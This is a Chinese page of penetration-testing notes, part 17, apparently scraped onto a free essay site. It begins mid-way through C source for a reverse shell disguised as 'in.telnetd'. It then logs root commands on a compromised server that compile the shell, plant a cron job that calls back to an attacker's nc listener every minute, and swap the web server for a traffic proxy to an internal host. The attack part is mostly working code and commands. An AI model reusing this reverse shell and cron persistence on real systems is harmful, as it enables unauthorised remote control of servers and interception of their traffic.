渗透笔记整理(17)

addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(argv[1]); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr*)&addr, sizeof(addr)); send(fd, mesg, sizeof(mesg), 0); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(shell, ”in.telnetd”, 0); close(fd); return 1; } —————————-代码结束分割线—————————– [root@cactiez etc]# gcc -o /bin/haha /home/www/haha.c

[root@cactiez etc]# mkdir /etc/cr_m

[root@cactiez etc]# cp /home/www/si /etc/cr_m/

[root@cactiez etc]# chmod +x /etc/cr_m/si

[root@cactiez etc]# cat /etc/cr_m/si

#!/bin/sh

/bin/haha xxx.xxx.xxx.xx 追加一个crontab每分钟执行的：

[root@cactiez etc]# echo ”*/1 * * * * root run-parts /etc/cr_m” >> /etc/crontab

[root@cactiez etc]# cat /etc/crontab

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root

HOME=/

# run-parts

01 * * * * root run-parts /etc/cron.hourly

02 4 * * * root run-parts /etc/cron.daily

22 4 * * 0 root run-parts /etc/cron.weekly

42 4 1 * * root run-parts /etc/cron.monthly

*/1 * * * * root run-parts /etc/cr_m

1分钟后本地nc监听的就连上了，然后在这个里面停止httpd：

[root@cactiez etc]# cat /root/s.sh

#!/bin/sh

/sbin/service httpd stop

/usr/local/bin/proxy 80 192.168.0.1 80

sleep 600

killall -9 proxy

/sbin/service httpd restart

百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读，免费范文网，提供经典小说教育文库渗透笔记整理(17)在线全文阅读。